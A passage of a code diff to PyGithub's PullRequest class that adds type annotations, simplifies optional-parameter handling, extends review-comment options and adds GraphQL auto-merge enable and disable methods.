github.PullRequestPart.PullRequestPart: self._completeIfNotSet(self._head) return self._head.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def issue_url(self): - """ - :type: string - """ + def issue_url(self) -> str: self._completeIfNotSet(self._issue_url) return self._issue_url.value @property - def labels(self): - """ - :type: list of :class:`github.Label.Label` - """ + def labels(self) -> list[github.Label.Label]: self._completeIfNotSet(self._labels) return self._labels.value @property - def merge_commit_sha(self): - """ - :type: string - """ + def merge_commit_sha(self) -> str: self._completeIfNotSet(self._merge_commit_sha) return self._merge_commit_sha.value @property - def mergeable(self): - """ - :type: bool - """ + def mergeable(self) -> bool: self._completeIfNotSet(self._mergeable) return self._mergeable.value @property - def mergeable_state(self): - """ - :type: string - """ + def mergeable_state(self) -> str: self._completeIfNotSet(self._mergeable_state) return self._mergeable_state.value @property - def merged(self): - """ - :type: bool - """ + def merged(self) -> bool: self._completeIfNotSet(self._merged) return self._merged.value @property - def merged_at(self): - """ - :type: datetime.datetime - """ + def merged_at(self) -> datetime | None: self._completeIfNotSet(self._merged_at) return self._merged_at.value @property - def merged_by(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def merged_by(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._merged_by) return self._merged_by.value @property - def milestone(self): - """ - :type: :class:`github.Milestone.Milestone` - """ + def milestone(self) -> github.Milestone.Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property - def patch_url(self): - """ - :type: string - """ + def patch_url(self) -> str: self._completeIfNotSet(self._patch_url) return self._patch_url.value @property - def rebaseable(self): - """ - :type: bool - """ + def rebaseable(self) -> bool: self._completeIfNotSet(self._rebaseable) return self._rebaseable.value @property - def review_comment_url(self): - """ - :type: string - """ + def review_comment_url(self) -> str: self._completeIfNotSet(self._review_comment_url) return self._review_comment_url.value @property - def review_comments(self): - """ - :type: integer - """ + def review_comments(self) -> int: self._completeIfNotSet(self._review_comments) return self._review_comments.value @property - def review_comments_url(self): - """ - :type: string - """ + def review_comments_url(self) -> str: self._completeIfNotSet(self._review_comments_url) return self._review_comments_url.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime | None: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def requested_reviewers(self): + def requested_reviewers(self) -> list[github.NamedUser.NamedUser]: self._completeIfNotSet(self._requested_reviewers) return self._requested_reviewers.value @property - def requested_teams(self): + def requested_teams(self) -> list[github.Team.Team]: self._completeIfNotSet(self._requested_teams) return self._requested_teams.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value @property - def maintainer_can_modify(self): - """ - :type: bool - """ + def maintainer_can_modify(self) -> bool: self._completeIfNotSet(self._maintainer_can_modify) return self._maintainer_can_modify.value - def as_issue(self): + @property + def node_id(self) -> str: + self._completeIfNotSet(self._node_id) + return self._node_id.value + + def as_issue(self) -> Issue: """ :calls: `GET /repos/{owner}/{repo}/issues/{number} `_ - :rtype: :class:`github.Issue.Issue` """ headers, data = self._requester.requestJsonAndCheck("GET", self.issue_url) return github.Issue.Issue(self._requester, headers, data, completed=True) - def create_comment(self, body, commit_id, path, position): + def create_comment( + self, body: str, commit: github.Commit.Commit, path: str, position: int + ) -> github.PullRequestComment.PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/comments `_ - :param body: string - :param commit_id: :class:`github.Commit.Commit` - :param path: string - :param position: integer - :rtype: :class:`github.PullRequestComment.PullRequestComment` """ - return self.create_review_comment(body, commit_id, path, position) + return self.create_review_comment(body, commit, path, position) - def create_review_comment(self, body, commit_id, path, position): + def create_review_comment( + self, + body: str, + commit: github.Commit.Commit, + path: str, + # line replaces deprecated position argument, so we put it between path and side + line: Opt[int] = NotSet, + side: Opt[str] = NotSet, + start_line: Opt[int] = NotSet, + start_side: Opt[int] = NotSet, + in_reply_to: Opt[int] = NotSet, + subject_type: Opt[str] = NotSet, + as_suggestion: bool = False, + ) -> github.PullRequestComment.PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/comments `_ - :param body: string - :param commit_id: :class:`github.Commit.Commit` - :param path: string - :param position: integer - :rtype: :class:`github.PullRequestComment.PullRequestComment` """ assert isinstance(body, str), body - assert isinstance(commit_id, github.Commit.Commit), commit_id + assert isinstance(commit, github.Commit.Commit), commit assert isinstance(path, str), path - assert isinstance(position, int), position - post_parameters = { - "body": body, - "commit_id": commit_id._identity, - "path": path, - "position": position, - } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/comments", input=post_parameters - ) - return github.PullRequestComment.PullRequestComment( - self._requester, headers, data, completed=True - ) - - def create_review_comment_reply(self, comment_id, body): + assert is_optional(line, int), line + assert is_undefined(side) or side in ["LEFT", "RIGHT"], side + assert is_optional(start_line, int), start_line + assert is_undefined(start_side) or start_side in [ + "LEFT", + "RIGHT", + "side", + ], start_side + assert is_optional(in_reply_to, int), in_reply_to + assert is_undefined(subject_type) or subject_type in [ + "line", + "file", + ], subject_type + assert isinstance(as_suggestion, bool), as_suggestion + + if as_suggestion: + body = f"```suggestion\n{body}\n```" + post_parameters = NotSet.remove_unset_items( + { + "body": body, + "commit_id": commit._identity, + "path": path, + "line": line, + "side": side, + "start_line": start_line, + "start_side": start_side, + "in_reply_to": in_reply_to, + "subject_type": subject_type, + } + ) + + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) + return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) + + def create_review_comment_reply(self, comment_id: int, body: str) -> github.PullRequestComment.PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{pull_number}/comments/{comment_id}/replies `_ - :param comment_id: int - :param body: string - :rtype: :class:`github.PullRequestComment.PullRequestComment` """ assert isinstance(comment_id, int), comment_id assert isinstance(body, str), body @@ -450,271 +454,209 @@ def create_review_comment_reply(self, comment_id, body): f"{self.url}/comments/{comment_id}/replies", input=post_parameters, ) - return github.PullRequestComment.PullRequestComment( - self._requester, headers, data, completed=True - ) + return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) - def create_issue_comment(self, body): + def create_issue_comment(self, body: str) -> github.IssueComment.IssueComment: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/comments `_ - :param body: string - :rtype: :class:`github.IssueComment.IssueComment` """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.issue_url}/comments", input=post_parameters - ) - return github.IssueComment.IssueComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.issue_url}/comments", input=post_parameters) + return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) def create_review( self, - commit=github.GithubObject.NotSet, - body=github.GithubObject.NotSet, - event=github.GithubObject.NotSet, - comments=github.GithubObject.NotSet, - ): - """ - :calls: `POST /repos/{owner}/{repo}/pulls/{number}/reviews `_ - :param commit: github.Commit.Commit - :param body: string - :param event: string - :param comments: list - :rtype: :class:`github.PullRequestReview.PullRequestReview` - """ - assert commit is github.GithubObject.NotSet or isinstance( - commit, github.Commit.Commit - ), commit - assert body is github.GithubObject.NotSet or isinstance(body, str), body - assert event is github.GithubObject.NotSet or isinstance(event, str), event - assert comments is github.GithubObject.NotSet or isinstance( - comments, list - ), comments - post_parameters = dict() - if commit is not github.GithubObject.NotSet: + commit: Opt[github.Commit.Commit] = NotSet, + body: Opt[str] = NotSet, + event: Opt[str] = NotSet, + comments: Opt[list[ReviewComment]] = NotSet, + ) -> github.PullRequestReview.PullRequestReview: + """ + :calls: `POST /repos/{owner}/{repo}/pulls/{number}/reviews `_ + """ + assert is_optional(commit, github.Commit.Commit), commit + assert is_optional(body, str), body + assert is_optional(event, str), event + assert is_optional_list(comments, dict), comments + post_parameters: dict[str, Any] = NotSet.remove_unset_items({"body": body}) + post_parameters["event"] = "COMMENT" if is_undefined(event) else event + if is_defined(commit): post_parameters["commit_id"] = commit.sha - if body is not github.GithubObject.NotSet: - post_parameters["body"] = body - post_parameters["event"] = ( - "COMMENT" if event == github.GithubObject.NotSet else event - ) - if comments is github.GithubObject.NotSet: - post_parameters["comments"] = [] - else: + if is_defined(comments): post_parameters["comments"] = comments - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/reviews", input=post_parameters - ) - return github.PullRequestReview.PullRequestReview( - self._requester, headers, data, completed=True - ) + else: + post_parameters["comments"] = [] + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/reviews", input=post_parameters) + return github.PullRequestReview.PullRequestReview(self._requester, headers, data, completed=True) def create_review_request( self, - reviewers=github.GithubObject.NotSet, - team_reviewers=github.GithubObject.NotSet, - ): + reviewers: Opt[list[str] | str] = NotSet, + team_reviewers: Opt[list[str] | str] = NotSet, + ) -> None: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ - :param reviewers: list of strings - :param team_reviewers: list of strings - :rtype: None - """ - post_parameters = dict() - if reviewers is not github.GithubObject.NotSet: - assert all(isinstance(element, str) for element in reviewers), reviewers - post_parameters["reviewers"] = reviewers - if team_reviewers is not github.GithubObject.NotSet: - assert all( - isinstance(element, str) for element in team_reviewers - ), team_reviewers - post_parameters["team_reviewers"] = team_reviewers + """ + assert is_optional(reviewers, str) or is_optional_list(reviewers, str), reviewers + assert is_optional(team_reviewers, str) or is_optional_list(team_reviewers, str), team_reviewers + + post_parameters = NotSet.remove_unset_items({"reviewers": reviewers, "team_reviewers": team_reviewers}) + headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/requested_reviewers", input=post_parameters ) def delete_review_request( self, - reviewers=github.GithubObject.NotSet, - team_reviewers=github.GithubObject.NotSet, - ): + reviewers: Opt[list[str] | str] = NotSet, + team_reviewers: Opt[list[str] | str] = NotSet, + ) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ - :param reviewers: list of strings - :param team_reviewers: list of strings - :rtype: None - """ - post_parameters = dict() - if reviewers is not github.GithubObject.NotSet: - assert all(isinstance(element, str) for element in reviewers), reviewers - post_parameters["reviewers"] = reviewers - if team_reviewers is not github.GithubObject.NotSet: - assert all( - isinstance(element, str) for element in team_reviewers - ), team_reviewers - post_parameters["team_reviewers"] = team_reviewers + """ + assert is_optional(reviewers, str) or is_optional_list(reviewers, str), reviewers + assert is_optional(team_reviewers, str) or is_optional_list(team_reviewers, str), team_reviewers + + post_parameters = NotSet.remove_unset_items({"reviewers": reviewers, "team_reviewers": team_reviewers}) + headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/requested_reviewers", input=post_parameters ) def edit( self, - title=github.GithubObject.NotSet, - body=github.GithubObject.NotSet, - state=github.GithubObject.NotSet, - base=github.GithubObject.NotSet, - maintainer_can_modify=github.GithubObject.NotSet, - ): + title: Opt[str] = NotSet, + body: Opt[str] = NotSet, + state: Opt[str] = NotSet, + base: Opt[str] = NotSet, + maintainer_can_modify: Opt[bool] = NotSet, + ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/pulls/{number} `_ - :param title: string - :param body: string - :param state: string - :param base: string - :param maintainer_can_modify: bool - :rtype: None - """ - assert title is github.GithubObject.NotSet or isinstance(title, str), title - assert body is github.GithubObject.NotSet or isinstance(body, str), body - assert state is github.GithubObject.NotSet or isinstance(state, str), state - assert base is github.GithubObject.NotSet or isinstance(base, str), base - assert maintainer_can_modify is github.GithubObject.NotSet or isinstance( - maintainer_can_modify, bool - ), maintainer_can_modify - post_parameters = dict() - if title is not github.GithubObject.NotSet: - post_parameters["title"] = title - if body is not github.GithubObject.NotSet: - post_parameters["body"] = body - if state is not github.GithubObject.NotSet: - post_parameters["state"] = state - if base is not github.GithubObject.NotSet: - post_parameters["base"] = base - if maintainer_can_modify is not github.GithubObject.NotSet: - post_parameters["maintainer_can_modify"] = maintainer_can_modify - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + """ + assert is_optional(title, str), title + assert is_optional(body, str), body + assert is_optional(state, str), state + assert is_optional(base, str), base + assert is_optional(maintainer_can_modify, bool), maintainer_can_modify + post_parameters = NotSet.remove_unset_items( + {"title": title, "body": body, "state": state, "base": base, "maintainer_can_modify": maintainer_can_modify} ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_comment(self, id): + def get_comment(self, id: int) -> github.PullRequestComment.PullRequestComment: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number} `_ - :param id: integer - :rtype: :class:`github.PullRequestComment.PullRequestComment` """ return self.get_review_comment(id) - def get_review_comment(self, id): + def get_review_comment(self, id: int) -> github.PullRequestComment.PullRequestComment: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number} `_ - :param id: integer - :rtype: :class:`github.PullRequestComment.PullRequestComment` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self._parentUrl(self.url)}/comments/{id}" - ) - return github.PullRequestComment.PullRequestComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.url)}/comments/{id}") + return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) - def get_comments(self): + def get_comments( + self, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[github.PullRequestComment.PullRequestComment]: """ Warning: this only returns review comments. For normal conversation comments, use get_issue_comments. :calls: `GET /repos/{owner}/{repo}/pulls/{number}/comments `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` + :param sort: string 'created' or 'updated' + :param direction: string 'asc' or 'desc' + :param since: datetime """ - return self.get_review_comments() + return self.get_review_comments(sort=sort, direction=direction, since=since) - def get_review_comments(self, since=github.GithubObject.NotSet): + # v3: remove *, added here to force named parameters because order has changed + def get_review_comments( + self, + *, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + since: Opt[datetime] = NotSet, + ) -> PaginatedList[github.PullRequestComment.PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/comments `_ - :param since: datetime.datetime format YYYY-MM-DDTHH:MM:SSZ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` - """ - assert since is github.GithubObject.NotSet or isinstance( - since, datetime.datetime - ), since - url_parameters = dict() - if since is not github.GithubObject.NotSet: + :param sort: string 'created' or 'updated' + :param direction: string 'asc' or 'desc' + :param since: datetime + """ + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + assert is_optional(since, datetime), since + + url_parameters = NotSet.remove_unset_items({"sort": sort, "direction": direction}) + if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") - return github.PaginatedList.PaginatedList( + + return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/comments", url_parameters, ) - def get_single_review_comments(self, id): + def get_single_review_comments(self, id: int) -> PaginatedList[github.PullRequestComment.PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/review/{id}/comments `_ - :param id: integer - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestComment.PullRequestComment` """ assert isinstance(id, int), id - return github.PaginatedList.PaginatedList( + return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/reviews/{id}/comments", None, ) - def get_commits(self): + def get_commits(self) -> PaginatedList[github.Commit.Commit]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/commits `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Commit.Commit` """ - return github.PaginatedList.PaginatedList( - github.Commit.Commit, self._requester, f"{self.url}/commits", None - ) + return PaginatedList(github.Commit.Commit, self._requester, f"{self.url}/commits", None) - def get_files(self): + def get_files(self) -> PaginatedList[github.File.File]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/files `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.File.File` """ - return github.PaginatedList.PaginatedList( - github.File.File, self._requester, f"{self.url}/files", None - ) + return PaginatedList(github.File.File, self._requester, f"{self.url}/files", None) - def get_issue_comment(self, id): + def get_issue_comment(self, id: int) -> github.IssueComment.IssueComment: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id} `_ - :param id: integer - :rtype: :class:`github.IssueComment.IssueComment` """ assert isinstance(id, int), id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self._parentUrl(self.issue_url)}/comments/{id}" - ) - return github.IssueComment.IssueComment( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.issue_url)}/comments/{id}") + return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) - def get_issue_comments(self): + def get_issue_comments(self) -> PaginatedList[github.IssueComment.IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/comments `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueComment.IssueComment` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.issue_url}/comments", None, ) - def get_issue_events(self): + def get_issue_events(self) -> PaginatedList[github.IssueEvent.IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{issue_number}/events `_ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueEvent.IssueEvent` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.issue_url}/events", @@ -722,7 +664,7 @@ def get_issue_events(self): headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) - def get_review(self, id): + def get_review(self, id: int) -> github.PullRequestReview.PullRequestReview: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/reviews/{id} `_ :param id: integer @@ -733,36 +675,34 @@ def get_review(self, id): "GET", f"{self.url}/reviews/{id}", ) - return github.PullRequestReview.PullRequestReview( - self._requester, headers, data, completed=True - ) + return github.PullRequestReview.PullRequestReview(self._requester, headers, data, completed=True) - def get_reviews(self): + def get_reviews(self) -> PaginatedList[github.PullRequestReview.PullRequestReview]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/reviews `_ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestReview.PullRequestReview` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.PullRequestReview.PullRequestReview, self._requester, f"{self.url}/reviews", None, ) - def get_review_requests(self): + def get_review_requests(self) -> tuple[PaginatedList[NamedUser], PaginatedList[github.Team.Team]]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ :rtype: tuple of :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` and of :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ return ( - github.PaginatedList.PaginatedList( + PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/requested_reviewers", None, list_item="users", ), - github.PaginatedList.PaginatedList( + PaginatedList( github.Team.Team, self._requester, f"{self.url}/requested_reviewers", @@ -771,137 +711,143 @@ def get_review_requests(self): ), ) - def get_labels(self): + def get_labels(self) -> PaginatedList[github.Label.Label]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/labels `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Label.Label` """ - return github.PaginatedList.PaginatedList( - github.Label.Label, self._requester, f"{self.issue_url}/labels", None - ) + return PaginatedList(github.Label.Label, self._requester, f"{self.issue_url}/labels", None) - def add_to_labels(self, *labels): + def add_to_labels(self, *labels: github.Label.Label | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/labels `_ - :param label: :class:`github.Label.Label` or string - :rtype: None - """ - assert all( - isinstance(element, (github.Label.Label, str)) for element in labels - ), labels - post_parameters = [ - label.name if isinstance(label, github.Label.Label) else label - for label in labels - ] - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.issue_url}/labels", input=post_parameters - ) + """ + assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels + post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.issue_url}/labels", input=post_parameters) - def delete_labels(self): + def delete_labels(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels `_ - :rtype: None """ - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.issue_url}/labels" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.issue_url}/labels") - def remove_from_labels(self, label): + def remove_from_labels(self, label: github.Label.Label | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels/{name} `_ - :param label: :class:`github.Label.Label` or string - :rtype: None """ assert isinstance(label, (github.Label.Label, str)), label if isinstance(label, github.Label.Label): label = label._identity else: label = urllib.parse.quote(label) - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.issue_url}/labels/{label}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.issue_url}/labels/{label}") - def set_labels(self, *labels): + def set_labels(self, *labels: github.Label.Label | str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{number}/labels `_ - :param labels: list of :class:`github.Label.Label` or strings - :rtype: None - """ - assert all( - isinstance(element, (github.Label.Label, str)) for element in labels - ), labels - post_parameters = [ - label.name if isinstance(label, github.Label.Label) else label - for label in labels - ] - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.issue_url}/labels", input=post_parameters - ) + """ + assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels + post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.issue_url}/labels", input=post_parameters) - def is_merged(self): + def is_merged(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/merge `_ - :rtype: bool """ status, headers, data = self._requester.requestJson("GET", f"{self.url}/merge") return status == 204 + def enable_automerge( + self, + merge_method: Opt[str] = "MERGE", + author_email: Opt[str] = NotSet, + client_mutation_id: Opt[str] = NotSet, + commit_body: Opt[str] = NotSet, + commit_headline: Opt[str] = NotSet, + expected_head_oid: Opt[str] = NotSet, + ) -> dict[str, Any]: + """ + :calls: `POST /graphql `_ with a mutation to enable pull request auto merge + + """ + assert is_optional(author_email, str), author_email + assert is_optional(client_mutation_id, str), client_mutation_id + assert is_optional(commit_body, str), commit_body + assert is_optional(commit_headline, str), commit_headline + assert is_optional(expected_head_oid, str), expected_head_oid + assert isinstance(merge_method, str) and merge_method in ["MERGE", "REBASE", "SQUASH"], merge_method + + # Define the variables + variables = { + "pullRequestId": self.node_id, + "authorEmail": author_email, + "clientMutationId": client_mutation_id, + "commitBody": commit_body, + "commitHeadline": commit_headline, + "expectedHeadOid": expected_head_oid, + "mergeMethod": merge_method, + } + + # Make the request + _, data = self._requester.graphql_named_mutation( + mutation_name="enable_pull_request_auto_merge", + variables=NotSet.remove_unset_items(variables), + output="actor { avatarUrl login resourcePath url } clientMutationId", + ) + return data + + def disable_automerge( + self, + client_mutation_id: Opt[str] = NotSet, + ) -> dict[str, Any]: + """ + :calls: `POST /graphql `_ with a mutation to disable pull request auto merge + + """ + assert is_optional(client_mutation_id, str), client_mutation_id + + # Define the variables + variables = { + "pullRequestId": self.node_id, + "clientMutationId": client_mutation_id, + } + + # Make the request + _, data = self._requester.graphql_named_mutation( + mutation_name="disable_pull_request_auto_merge", + variables=NotSet.remove_unset_items(variables), + output="actor { avatarUrl login resourcePath url } clientMutationId", + ) + return data + def merge( self, - commit_message=github.GithubObject.NotSet, - commit_title=github.GithubObject.NotSet, - merge_method=github.GithubObject.NotSet, - sha=github.GithubObject.NotSet, - ): + commit_message: Opt[str] = NotSet, + commit_title: Opt[str] = NotSet, + merge_method: Opt[str] = NotSet, + sha: Opt[str] = NotSet, + ) -> github.PullRequestMergeStatus.PullRequestMergeStatus: """ :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/merge `_ - :param commit_message: string - :param commit_title: string - :param merge_method: string - :param sha: string - :rtype: :class:`github.PullRequestMergeStatus.PullRequestMergeStatus` - """ - assert commit_message is github.GithubObject.NotSet or isinstance( - commit_message, str - ), commit_message - assert commit_title is github.GithubObject.NotSet or isinstance( - commit_title, str - ), commit_title - assert merge_method is github.GithubObject.NotSet or isinstance( - merge_method, str - ), merge_method - assert sha is github.GithubObject.NotSet or isinstance(sha, str), sha - post_parameters = dict() - if commit_message is not github.GithubObject.NotSet: - post_parameters["commit_message"] = commit_message - if commit_title is not github.GithubObject.NotSet: - post_parameters["commit_title"] = commit_title - if merge_method is not github.GithubObject.NotSet: - post_parameters["merge_method"] = merge_method - if sha is not github.GithubObject.NotSet: - post_parameters["sha"] = sha - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.url}/merge", input=post_parameters - ) - return github.PullRequestMergeStatus.PullRequestMergeStatus( - self._requester, headers, data, completed=True + """ + assert is_optional(commit_message, str), commit_message + assert is_optional(commit_title, str), commit_title + assert is_optional(merge_method, str), merge_method + assert is_optional(sha, str), sha + post_parameters = NotSet.remove_unset_items( + {"commit_message": commit_message, "commit_title": commit_title, "merge_method": merge_method, "sha": sha} ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/merge", input=post_parameters) + return github.PullRequestMergeStatus.PullRequestMergeStatus(self._requester, headers, data, completed=True) - def add_to_assignees(self, *assignees): + def add_to_assignees(self, *assignees: github.NamedUser.NamedUser | str) -> None: """ - :calls: `POST /repos/{owner}/{repo}/issues/{number}/assignees `_ - :param assignees: list of :class:`github.NamedUser.NamedUser` or string - :rtype: None + :calls: `POST /repos/{owner}/{repo}/issues/{number}/assignees `_ """ - assert all( - isinstance(element, (github.NamedUser.NamedUser, str)) - for element in assignees - ), assignees + assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ - assignee.login - if isinstance(assignee, github.NamedUser.NamedUser) - else assignee + assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } @@ -911,21 +857,14 @@ def add_to_assignees(self, *assignees): # Only use the assignees attribute, since we call this PR as an issue self._useAttributes({"assignees": data["assignees"]}) - def remove_from_assignees(self, *assignees): + def remove_from_assignees(self, *assignees: github.NamedUser.NamedUser | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/assignees `_ - :param assignees: list of :class:`github.NamedUser.NamedUser` or string - :rtype: None """ - assert all( - isinstance(element, (github.NamedUser.NamedUser, str)) - for element in assignees - ), assignees + assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ - assignee.login - if isinstance(assignee, github.NamedUser.NamedUser) - else assignee + assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } @@ -935,18 +874,12 @@ def remove_from_assignees(self, *assignees): # Only use the assignees attribute, since we call this PR as an issue self._useAttributes({"assignees": data["assignees"]}) - def update_branch(self, expected_head_sha=github.GithubObject.NotSet): + def update_branch(self, expected_head_sha: Opt[str] = NotSet) -> bool: """ :calls `PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch `_ - :param expected_head_sha: string - :rtype: bool - """ - assert expected_head_sha is github.GithubObject.NotSet or isinstance( - expected_head_sha, str - ), expected_head_sha - post_parameters = {} - if expected_head_sha is not github.GithubObject.NotSet: - post_parameters["expected_head_sha"] = expected_head_sha + """ + assert is_optional(expected_head_sha, str), expected_head_sha + post_parameters = NotSet.remove_unset_items({"expected_head_sha": expected_head_sha}) status, headers, data = self._requester.requestJson( "PUT", f"{self.url}/update-branch", @@ -955,73 +888,20 @@ def update_branch(self, expected_head_sha=github.GithubObject.NotSet): ) return status == 202 - def _initAttributes(self): - self._additions = github.GithubObject.NotSet - self._assignee = github.GithubObject.NotSet - self._assignees = github.GithubObject.NotSet - self._base = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._changed_files = github.GithubObject.NotSet - self._closed_at = github.GithubObject.NotSet - self._comments = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._commits = github.GithubObject.NotSet - self._commits_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._deletions = github.GithubObject.NotSet - self._diff_url = github.GithubObject.NotSet - self._draft = github.GithubObject.NotSet - self._head = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._issue_url = github.GithubObject.NotSet - self._labels = github.GithubObject.NotSet - self._maintainer_can_modify = github.GithubObject.NotSet - self._merge_commit_sha = github.GithubObject.NotSet - self._mergeable = github.GithubObject.NotSet - self._mergeable_state = github.GithubObject.NotSet - self._merged = github.GithubObject.NotSet - self._merged_at = github.GithubObject.NotSet - self._merged_by = github.GithubObject.NotSet - self._milestone = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._patch_url = github.GithubObject.NotSet - self._rebaseable = github.GithubObject.NotSet - self._review_comment_url = github.GithubObject.NotSet - self._review_comments = github.GithubObject.NotSet - self._review_comments_url 